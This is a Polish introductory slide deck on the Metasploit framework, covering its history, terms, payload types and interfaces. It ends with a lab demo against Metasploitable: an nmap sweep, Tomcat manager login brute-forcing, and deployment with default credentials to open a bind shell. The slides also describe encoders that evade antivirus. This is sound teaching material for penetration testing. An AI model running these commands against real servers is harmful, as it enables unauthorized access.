+ All Categories
Home > Documents > Metasploit Part 1 - WordPress.com · 2011-06-08 · Metasploit zostal przygotowany w 2003 roku w...

Metasploit Part 1 - WordPress.com · 2011-06-08 · Metasploit zostal przygotowany w 2003 roku w...

Date post: 19-Jul-2020
Category:
Upload: others
View: 0 times
Download: 0 times
Share this document with a friend
27
Metasploit Part 1 The Beginning
Transcript
Page 1: Metasploit Part 1 - WordPress.com · 2011-06-08 · Metasploit zostal przygotowany w 2003 roku w jezyku Perl. Od wersji 3.0 zostal calkowicie przepisany w jezyku Ruby. Srodowisko

Metasploit Part 1

The Beginning

Page 2: Metasploit Part 1 - WordPress.com · 2011-06-08 · Metasploit zostal przygotowany w 2003 roku w jezyku Perl. Od wersji 3.0 zostal calkowicie przepisany w jezyku Ruby. Srodowisko

Agenda • Co to jest Metasploit? • Historiia • Terminologia • Rodzaje Payload’ów • Opisy modułów • Podstawy Konsoli

Page 3: Metasploit Part 1 - WordPress.com · 2011-06-08 · Metasploit zostal przygotowany w 2003 roku w jezyku Perl. Od wersji 3.0 zostal calkowicie przepisany w jezyku Ruby. Srodowisko

Metasploit... czyli? • Framework do pentestów • Napisany w Ruby • Zawiera w sobie: Exploity, Payloads, Auxiliaries,

Automation Tools, i wiele innych...

• Wieloplatformowy • Wsparcie Developerów • Możliwośd pisania własnych wtyczek • OpenSource weeeee... :]

Page 4: Metasploit Part 1 - WordPress.com · 2011-06-08 · Metasploit zostal przygotowany w 2003 roku w jezyku Perl. Od wersji 3.0 zostal calkowicie przepisany w jezyku Ruby. Srodowisko

„A little bit about this shit” Metasploit zostal przygotowany w 2003 roku w jezyku Perl. Od wersji 3.0 zostal calkowicie przepisany w jezyku Ruby. Srodowisko moze byc uruchamiane na wielu wersjach systemu Unix i Linux oraz w systemie Windows. W pazdzierniku 2009 projekt Metasploit zostal przejety przez firme Rapid 7 specjalizujaca sie w oprogramowaniu do zarzadzania podatnosciami systemów. (WiKi)

Page 5: Metasploit Part 1 - WordPress.com · 2011-06-08 · Metasploit zostal przygotowany w 2003 roku w jezyku Perl. Od wersji 3.0 zostal calkowicie przepisany w jezyku Ruby. Srodowisko

Terminologia Exploit (eksploatowad kogoś lub coś) The vector for getting into the system, whether it be because of a vulnerability or a bad config Payload (Ładunek) What you want the exploit to do.

Page 6: Metasploit Part 1 - WordPress.com · 2011-06-08 · Metasploit zostal przygotowany w 2003 roku w jezyku Perl. Od wersji 3.0 zostal calkowicie przepisany w jezyku Ruby. Srodowisko

Encoders (Programy szyfrujące) Ways to mangle the code so anti-malware apps won’t detect the payload Auxillary (pomocniczy) Just another fun little app that comes with Metasploit (IRONGEEK)

Page 7: Metasploit Part 1 - WordPress.com · 2011-06-08 · Metasploit zostal przygotowany w 2003 roku w jezyku Perl. Od wersji 3.0 zostal calkowicie przepisany w jezyku Ruby. Srodowisko

Rodzaje PayLoad’ów - Inline All the shellcode to be executed goes with the payload. More stable, but may be too big. - Staged (pl. Stopniowanie) The payload is just a small stub that grabs the rest of the shell code after the exploit works. Smaller, and less for AV to grab a hold of.

Page 8: Metasploit Part 1 - WordPress.com · 2011-06-08 · Metasploit zostal przygotowany w 2003 roku w jezyku Perl. Od wersji 3.0 zostal calkowicie przepisany w jezyku Ruby. Srodowisko

-Reverse Instead of having to establish a connection in after an exploit works, the payload connects back you. This has a better chance of getting around firewalls with weak egress filtering. - NoNX These payloads try to work around things like DEP (Data Execution Prevention) (IRONGEEK)

Page 9: Metasploit Part 1 - WordPress.com · 2011-06-08 · Metasploit zostal przygotowany w 2003 roku w jezyku Perl. Od wersji 3.0 zostal calkowicie przepisany w jezyku Ruby. Srodowisko

Ale Metasploit to nie... Czasem schemat używania to: 1. Ustawid rodzaj exploit’a 2. Ustawid rodzaj payload’a 3. Ustawid cel naszej zabawy 4. Iśd po piwo... 5. Cieszyd się kontrolą ;] To nie wszystko co potrafi Metasploit... On potrafi wiele więcej...

Page 10: Metasploit Part 1 - WordPress.com · 2011-06-08 · Metasploit zostal przygotowany w 2003 roku w jezyku Perl. Od wersji 3.0 zostal calkowicie przepisany w jezyku Ruby. Srodowisko

Piękny Prosty Interfejs MsfConsole:

Page 11: Metasploit Part 1 - WordPress.com · 2011-06-08 · Metasploit zostal przygotowany w 2003 roku w jezyku Perl. Od wersji 3.0 zostal calkowicie przepisany w jezyku Ruby. Srodowisko

Piękny Prosty Interfejs MsfCli:

Page 12: Metasploit Part 1 - WordPress.com · 2011-06-08 · Metasploit zostal przygotowany w 2003 roku w jezyku Perl. Od wersji 3.0 zostal calkowicie przepisany w jezyku Ruby. Srodowisko

Piękny Prosty Interfejs MsfGui:

Page 13: Metasploit Part 1 - WordPress.com · 2011-06-08 · Metasploit zostal przygotowany w 2003 roku w jezyku Perl. Od wersji 3.0 zostal calkowicie przepisany w jezyku Ruby. Srodowisko

Piękny Prosty Interfejs

Page 14: Metasploit Part 1 - WordPress.com · 2011-06-08 · Metasploit zostal przygotowany w 2003 roku w jezyku Perl. Od wersji 3.0 zostal calkowicie przepisany w jezyku Ruby. Srodowisko

Piękny Prosty Interfejs MsfWEB:

Page 15: Metasploit Part 1 - WordPress.com · 2011-06-08 · Metasploit zostal przygotowany w 2003 roku w jezyku Perl. Od wersji 3.0 zostal calkowicie przepisany w jezyku Ruby. Srodowisko

A teraz zalety i wady MsfConsole: + Najlepiej wspierany interfejs frameworka + Prawie wszystkie opcje są dostępne - Nie jako "wskaż i kliknij w msggui / msfweb Msfcli + Łatwo dodad dobrodziejstwa metasploita do własnego skryptu - Nie jest tak dobrze wspierany jak msfconsole - Cięższy do użycia

Page 16: Metasploit Part 1 - WordPress.com · 2011-06-08 · Metasploit zostal przygotowany w 2003 roku w jezyku Perl. Od wersji 3.0 zostal calkowicie przepisany w jezyku Ruby. Srodowisko

A teraz zalety i wady Msfweb +Fajny Interfejs +Łatwy do zrozumienia treści +Dobry do pokazania prostych ataków -Nie jest tak dobrze wspierany jak msfconsole -Wolny Msfgui + Fajny Interfejs + Własne skórki (IRONGEEK)

Page 17: Metasploit Part 1 - WordPress.com · 2011-06-08 · Metasploit zostal przygotowany w 2003 roku w jezyku Perl. Od wersji 3.0 zostal calkowicie przepisany w jezyku Ruby. Srodowisko

Podstawy Konsoli Polecenia: help search set setg show (options/advanced/etc) exploit/run sessions –l sessions -i 1

Page 18: Metasploit Part 1 - WordPress.com · 2011-06-08 · Metasploit zostal przygotowany w 2003 roku w jezyku Perl. Od wersji 3.0 zostal calkowicie przepisany w jezyku Ruby. Srodowisko

Demo Sytuacja 1:

Hacker Serwer Ubuntu

Page 19: Metasploit Part 1 - WordPress.com · 2011-06-08 · Metasploit zostal przygotowany w 2003 roku w jezyku Perl. Od wersji 3.0 zostal calkowicie przepisany w jezyku Ruby. Srodowisko

Używane rzeczy • BackTrack w wersji 5 • Metasploit 3.7.0 • Nmap

• Metasploitable

Page 20: Metasploit Part 1 - WordPress.com · 2011-06-08 · Metasploit zostal przygotowany w 2003 roku w jezyku Perl. Od wersji 3.0 zostal calkowicie przepisany w jezyku Ruby. Srodowisko

Atak cz. 1 • Skan sieci w poszukiwaniu hosta:

$~> nmap –v –sn 192.168.10.0/24 • Skan hosta nmapem

• Atak 1

Page 21: Metasploit Part 1 - WordPress.com · 2011-06-08 · Metasploit zostal przygotowany w 2003 roku w jezyku Perl. Od wersji 3.0 zostal calkowicie przepisany w jezyku Ruby. Srodowisko

Atak cz. 1 msf > use scanner/http/tomcat_mgr_login msf auxiliary(tomcat_mgr_login) > set RHOSTS metasploitable msf auxiliary(tomcat_mgr_login) > set RPORT 8180 msf auxiliary(tomcat_mgr_login) > exploit

Page 22: Metasploit Part 1 - WordPress.com · 2011-06-08 · Metasploit zostal przygotowany w 2003 roku w jezyku Perl. Od wersji 3.0 zostal calkowicie przepisany w jezyku Ruby. Srodowisko

Atak cz. 1 Rezultat: mamy login i hasło Cel: zdobyd shell ;]

Page 23: Metasploit Part 1 - WordPress.com · 2011-06-08 · Metasploit zostal przygotowany w 2003 roku w jezyku Perl. Od wersji 3.0 zostal calkowicie przepisany w jezyku Ruby. Srodowisko

Atak cz. 2 msf > use multi/http/tomcat_mgr_deploy msf exploit(tomcat_mgr_deploy) > set RHOST metasploitable msf exploit(tomcat_mgr_deploy) > set USERNAME tomcat msf exploit(tomcat_mgr_deploy) > set PASSWORD tomcat msf exploit(tomcat_mgr_deploy) > set RPORT 8180 msf exploit(tomcat_mgr_deploy) > set PAYLOAD linux/x86/shell_bind_tcp msf exploit(tomcat_mgr_deploy) > exploit

Page 24: Metasploit Part 1 - WordPress.com · 2011-06-08 · Metasploit zostal przygotowany w 2003 roku w jezyku Perl. Od wersji 3.0 zostal calkowicie przepisany w jezyku Ruby. Srodowisko

Atak cz. 2 Posiadamy shella, więc możemy dalej psocid.

Page 25: Metasploit Part 1 - WordPress.com · 2011-06-08 · Metasploit zostal przygotowany w 2003 roku w jezyku Perl. Od wersji 3.0 zostal calkowicie przepisany w jezyku Ruby. Srodowisko

Metasploit Part 1

The Beginning Q&A

Page 27: Metasploit Part 1 - WordPress.com · 2011-06-08 · Metasploit zostal przygotowany w 2003 roku w jezyku Perl. Od wersji 3.0 zostal calkowicie przepisany w jezyku Ruby. Srodowisko

Metasploit Part 1

The Beginning THX ;]


Recommended